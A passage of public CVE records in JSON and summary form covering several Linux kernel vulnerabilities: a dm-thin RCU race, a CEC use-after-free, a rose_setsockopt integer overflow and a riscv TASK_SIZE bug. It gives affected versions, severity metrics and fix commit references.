        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:03:06.963Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/md/dm-thin.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "ec037fe8c0d0f6140e3d8a49c7b29cb5582160b8",
              "status": "affected",
              "version": "b10ebd34cccae1b431caf1be54919aede2be7cbe",
              "versionType": "git"
            },
            {
              "lessThan": "cd30a3960433ec2db94b3689752fa3c5df44d649",
              "status": "affected",
              "version": "b10ebd34cccae1b431caf1be54919aede2be7cbe",
              "versionType": "git"
            },
            {
              "lessThan": "802666a40c71a23542c43a3f87e3a2d0f4e8fe45",
              "status": "affected",
              "version": "b10ebd34cccae1b431caf1be54919aede2be7cbe",
              "versionType": "git"
            },
            {
              "lessThan": "12771050b6d059eea096993bf2001da9da9fddff",
              "status": "affected",
              "version": "b10ebd34cccae1b431caf1be54919aede2be7cbe",
              "versionType": "git"
            },
            {
              "lessThan": "6b305e98de0d225ccebfb225730a9f560d28ecb0",
              "status": "affected",
              "version": "b10ebd34cccae1b431caf1be54919aede2be7cbe",
              "versionType": "git"
            },
            {
              "lessThan": "cbd0d5ecfa390ac29c5380200147d09c381b2ac6",
              "status": "affected",
              "version": "b10ebd34cccae1b431caf1be54919aede2be7cbe",
              "versionType": "git"
            },
            {
              "lessThan": "80f130bfad1dab93b95683fc39b87235682b8f72",
              "status": "affected",
              "version": "b10ebd34cccae1b431caf1be54919aede2be7cbe",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/md/dm-thin.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "3.15"
            },
            {
              "lessThan": "3.15",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.290",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.234",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.177",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.125",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.72",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.10",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.13",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.290",
                  "versionStartIncluding": "3.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.234",
                  "versionStartIncluding": "3.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.177",
                  "versionStartIncluding": "3.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.125",
                  "versionStartIncluding": "3.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.72",
                  "versionStartIncluding": "3.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.10",
                  "versionStartIncluding": "3.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.13",
                  "versionStartIncluding": "3.15",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ndm thin: make get_first_thin use rcu-safe list first function\n\nThe documentation in rculist.h explains the absence of list_empty_rcu()\nand cautions programmers against relying on a list_empty() -\u003e\nlist_first() sequence in RCU safe code.  This is because each of these\nfunctions performs its own READ_ONCE() of the list head.  This can lead\nto a situation where the list_empty() sees a valid list entry, but the\nsubsequent list_first() sees a different view of list head state after a\nmodification.\n\nIn the case of dm-thin, this author had a production box crash from a GP\nfault in the process_deferred_bios path.  This function saw a valid list\nhead in get_first_thin() but when it subsequently dereferenced that and\nturned it into a thin_c, it got the inside of the struct pool, since the\nlist was now empty and referring to itself.  The kernel on which this\noccurred printed both a warning about a refcount_t being saturated, and\na UBSAN error for an out-of-bounds cpuid access in the queued spinlock,\nprior to the fault itself.  When the resulting kdump was examined, it\nwas possible to see another thread patiently waiting in thin_dtr\u0027s\nsynchronize_rcu.\n\nThe thin_dtr call managed to pull the thin_c out of the active thins\nlist (and have it be the last entry in the active_thins list) at just\nthe wrong moment which lead to this crash.\n\nFortunately, the fix here is straight forward.  Switch get_first_thin()\nfunction to use list_first_or_null_rcu() which performs just a single\nREAD_ONCE() and returns NULL if the list is already empty.\n\nThis was run against the devicemapper test suite\u0027s thin-provisioning\nsuites for delete and suspend and no regressions were observed."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T21:04:03.448Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/ec037fe8c0d0f6140e3d8a49c7b29cb5582160b8"
        },
        {
          "url": "https://git.kernel.org/stable/c/cd30a3960433ec2db94b3689752fa3c5df44d649"
        },
        {
          "url": "https://git.kernel.org/stable/c/802666a40c71a23542c43a3f87e3a2d0f4e8fe45"
        },
        {
          "url": "https://git.kernel.org/stable/c/12771050b6d059eea096993bf2001da9da9fddff"
        },
        {
          "url": "https://git.kernel.org/stable/c/6b305e98de0d225ccebfb225730a9f560d28ecb0"
        },
        {
          "url": "https://git.kernel.org/stable/c/cbd0d5ecfa390ac29c5380200147d09c381b2ac6"
        },
        {
          "url": "https://git.kernel.org/stable/c/80f130bfad1dab93b95683fc39b87235682b8f72"
        }
      ],
      "title": "dm thin: make get_first_thin use rcu-safe list first function",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2025-21664",
    "datePublished": "2025-01-21T12:18:19.015Z",
    "dateReserved": "2024-12-29T08:45:45.732Z",
    "dateUpdated": "2026-05-12T12:03:06.963Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-23848 (GCVE-0-2024-23848)

Vulnerability from cvelistv5 – Published: 2024-01-23 00:00 – Updated: 2026-05-12 11:49

Summary

In the Linux kernel through 6.7.1, there is a use-after-free in cec_queue_msg_fh, related to drivers/media/cec/core/cec-adap.c and drivers/media/cec/core/cec-api.c.

Severity ?

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE

Assigner

mitre

References

1 reference

URL	Tags
https://lore.kernel.org/lkml/e9f42704-2f99-4f2c-a…

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-01T23:13:08.486Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lore.kernel.org/lkml/e9f42704-2f99-4f2c-ade5-f952e5fd53e5%40xs4all.nl/"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 5.5,
              "baseSeverity": "MEDIUM",
              "confidentialityImpact": "NONE",
              "integrityImpact": "NONE",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2024-23848",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-05-08T17:35:39.571213Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-416",
                "description": "CWE-416 Use After Free",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-05-30T14:21:34.120Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:49:11.806Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "n/a",
          "vendor": "n/a",
          "versions": [
            {
              "status": "affected",
              "version": "n/a"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel through 6.7.1, there is a use-after-free in cec_queue_msg_fh, related to drivers/media/cec/core/cec-adap.c and drivers/media/cec/core/cec-api.c."
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "description": "n/a",
              "lang": "en",
              "type": "text"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2024-01-23T08:46:52.406Z",
        "orgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
        "shortName": "mitre"
      },
      "references": [
        {
          "url": "https://lore.kernel.org/lkml/e9f42704-2f99-4f2c-ade5-f952e5fd53e5%40xs4all.nl/"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
    "assignerShortName": "mitre",
    "cveId": "CVE-2024-23848",
    "datePublished": "2024-01-23T00:00:00.000Z",
    "dateReserved": "2024-01-23T00:00:00.000Z",
    "dateUpdated": "2026-05-12T11:49:11.806Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2025-21711 (GCVE-0-2025-21711)

Vulnerability from cvelistv5 – Published: 2025-02-27 02:07 – Updated: 2026-05-12 12:03

Title

net/rose: prevent integer overflows in rose_setsockopt()

Summary

In the Linux kernel, the following vulnerability has been resolved: net/rose: prevent integer overflows in rose_setsockopt() In case of possible unpredictably large arguments passed to rose_setsockopt() and multiplied by extra values on top of that, integer overflows may occur. Do the safest minimum and fix these issues by checking the contents of 'opt' and returning -EINVAL if they are too large. Also, switch to unsigned int and remove useless check for negative 'opt' in ROSE_IDLE case.

Severity ?

No CVSS data available.

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/4bdd449977e2364a5…
https://git.kernel.org/stable/c/b8583b54455cbec2f…
https://git.kernel.org/stable/c/9bdee49ad6bbd26ab…
https://git.kernel.org/stable/c/352daa50946c3bbb6…
https://git.kernel.org/stable/c/d08f4074f9c69f7e9…
https://git.kernel.org/stable/c/e5338930a29d0ab2a…
https://git.kernel.org/stable/c/d640627663bfe7d89…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 4bdd449977e2364a53d0b2a5427e71beb1cd702d (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < b8583b54455cbec2fc038fa32b6700890b369815 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 9bdee49ad6bbd26ab5e13cc6731e54fb1b6c1dca (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 352daa50946c3bbb662432e8daf54d6760796589 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < d08f4074f9c69f7e95502587eb1b258a965ba7f0 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < e5338930a29d0ab2a5af402f5f664aeba0d1a676 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < d640627663bfe7d8963c7615316d7d4ef60f3b0b (git)
Linux	Linux	Affected: 2.6.12 Unaffected: 0 , < 2.6.12 (semver) Unaffected: 5.10.235 , ≤ 5.10.* (semver) Unaffected: 5.15.179 , ≤ 5.15.* (semver) Unaffected: 6.1.129 , ≤ 6.1.* (semver) Unaffected: 6.6.76 , ≤ 6.6.* (semver) Unaffected: 6.12.13 , ≤ 6.12.* (semver) Unaffected: 6.13.2 , ≤ 6.13.* (semver) Unaffected: 6.14 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T19:36:05.168Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/05/msg00030.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00028.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:03:24.796Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/rose/af_rose.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "4bdd449977e2364a53d0b2a5427e71beb1cd702d",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "b8583b54455cbec2fc038fa32b6700890b369815",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "9bdee49ad6bbd26ab5e13cc6731e54fb1b6c1dca",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "352daa50946c3bbb662432e8daf54d6760796589",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "d08f4074f9c69f7e95502587eb1b258a965ba7f0",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "e5338930a29d0ab2a5af402f5f664aeba0d1a676",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "d640627663bfe7d8963c7615316d7d4ef60f3b0b",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/rose/af_rose.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.12"
            },
            {
              "lessThan": "2.6.12",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.235",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.179",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.129",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.76",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.13",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.13.*",
              "status": "unaffected",
              "version": "6.13.2",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.14",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.235",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.179",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.129",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.76",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.13",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.13.2",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.14",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/rose: prevent integer overflows in rose_setsockopt()\n\nIn case of possible unpredictably large arguments passed to\nrose_setsockopt() and multiplied by extra values on top of that,\ninteger overflows may occur.\n\nDo the safest minimum and fix these issues by checking the\ncontents of \u0027opt\u0027 and returning -EINVAL if they are too large. Also,\nswitch to unsigned int and remove useless check for negative \u0027opt\u0027\nin ROSE_IDLE case."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T21:04:55.724Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/4bdd449977e2364a53d0b2a5427e71beb1cd702d"
        },
        {
          "url": "https://git.kernel.org/stable/c/b8583b54455cbec2fc038fa32b6700890b369815"
        },
        {
          "url": "https://git.kernel.org/stable/c/9bdee49ad6bbd26ab5e13cc6731e54fb1b6c1dca"
        },
        {
          "url": "https://git.kernel.org/stable/c/352daa50946c3bbb662432e8daf54d6760796589"
        },
        {
          "url": "https://git.kernel.org/stable/c/d08f4074f9c69f7e95502587eb1b258a965ba7f0"
        },
        {
          "url": "https://git.kernel.org/stable/c/e5338930a29d0ab2a5af402f5f664aeba0d1a676"
        },
        {
          "url": "https://git.kernel.org/stable/c/d640627663bfe7d8963c7615316d7d4ef60f3b0b"
        }
      ],
      "title": "net/rose: prevent integer overflows in rose_setsockopt()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2025-21711",
    "datePublished": "2025-02-27T02:07:23.746Z",
    "dateReserved": "2024-12-29T08:45:45.752Z",
    "dateUpdated": "2026-05-12T12:03:24.796Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-35988 (GCVE-0-2024-35988)

Vulnerability from cvelistv5 – Published: 2024-05-20 09:47 – Updated: 2026-05-12 11:53

Title

riscv: Fix TASK_SIZE on 64-bit NOMMU

Summary

In the Linux kernel, the following vulnerability has been resolved: riscv: Fix TASK_SIZE on 64-bit NOMMU On NOMMU, userspace memory can come from anywhere in physical RAM. The current definition of TASK_SIZE is wrong if any RAM exists above 4G, causing spurious failures in the userspace access routines.

Severity ?

No CVSS data available.

Assigner

Linux

References

6 references

URL	Tags
https://git.kernel.org/stable/c/04bf2e5f95c1a52e2…
https://git.kernel.org/stable/c/52e8a42b11078d2aa…
https://git.kernel.org/stable/c/4201b8c8f2c32af32…
https://git.kernel.org/stable/c/a0f0dbbb1bc49fa0d…
https://git.kernel.org/stable/c/efdcfa554b6eb2289…
https://git.kernel.org/stable/c/6065e736f82c817c9…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 6bd33e1ece528f67646db33bf97406b747dafda0 , < 04bf2e5f95c1a52e28a7567a507f926efe31c3b6 (git) Affected: 6bd33e1ece528f67646db33bf97406b747dafda0 , < 52e8a42b11078d2aad4b9ba96503d77c7299168b (git) Affected: 6bd33e1ece528f67646db33bf97406b747dafda0 , < 4201b8c8f2c32af321fb50867e68ac6c1cbed4be (git) Affected: 6bd33e1ece528f67646db33bf97406b747dafda0 , < a0f0dbbb1bc49fa0de18e92c36492ff6d804cdaa (git) Affected: 6bd33e1ece528f67646db33bf97406b747dafda0 , < efdcfa554b6eb228943ef1dd4d023c606be647d2 (git) Affected: 6bd33e1ece528f67646db33bf97406b747dafda0 , < 6065e736f82c817c9a597a31ee67f0ce4628e948 (git)
Linux	Linux	Affected: 5.5 Unaffected: 0 , < 5.5 (semver) Unaffected: 5.10.216 , ≤ 5.10.* (semver) Unaffected: 5.15.158 , ≤ 5.15.* (semver) Unaffected: 6.1.90 , ≤ 6.1.* (semver) Unaffected: 6.6.30 , ≤ 6.6.* (semver) Unaffected: 6.8.9 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-35988",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-05-20T15:03:33.366892Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-04T17:33:26.327Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T03:30:12.607Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/04bf2e5f95c1a52e28a7567a507f926efe31c3b6"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/52e8a42b11078d2aad4b9ba96503d77c7299168b"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/4201b8c8f2c32af321fb50867e68ac6c1cbed4be"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/a0f0dbbb1bc49fa0de18e92c36492ff6d804cdaa"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/efdcfa554b6eb228943ef1dd4d023c606be647d2"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/6065e736f82c817c9a597a31ee67f0ce4628e948"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:53:28.452Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "arch/riscv/include/asm/pgtable.h"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "04bf2e5f95c1a52e28a7567a507f926efe31c3b6",
              "status": "affected",
              "version": "6bd33e1ece528f67646db33bf97406b747dafda0",
              "versionType": "git"
            },
            {
              "lessThan": "52e8a42b11078d2aad4b9ba96503d77c7299168b",
              "status": "affected",
              "version": "6bd33e1ece528f67646db33bf97406b747dafda0",
              "versionType": "git"
            },
            {
              "lessThan": "4201b8c8f2c32af321fb50867e68ac6c1cbed4be",
              "status": "affected",
              "version": "6bd33e1ece528f67646db33bf97406b747dafda0",
              "versionType": "git"
            },
            {
              "lessThan": "a0f0dbbb1bc49fa0de18e92c36492ff6d804cdaa",
              "status": "affected",
              "version": "6bd33e1ece528f67646db33bf97406b747dafda0",
              "versionType": "git"
            },
            {
              "lessThan": "efdcfa554b6eb228943ef1dd4d023c606be647d2",
              "status": "affected",
              "version": "6bd33e1ece528f67646db33bf97406b747dafda0",
              "versionType": "git"
            },
            {
              "lessThan": "6065e736f82c817c9a597a31ee67f0ce4628e948",
              "status": "affected",
              "version": "6bd33e1ece528f67646db33bf97406b747dafda0",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "arch/riscv/include/asm/pgtable.h"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.5"
            },
            {
              "lessThan": "5.5",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.216",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.158",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.90",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.30",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.9",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.216",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.158",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
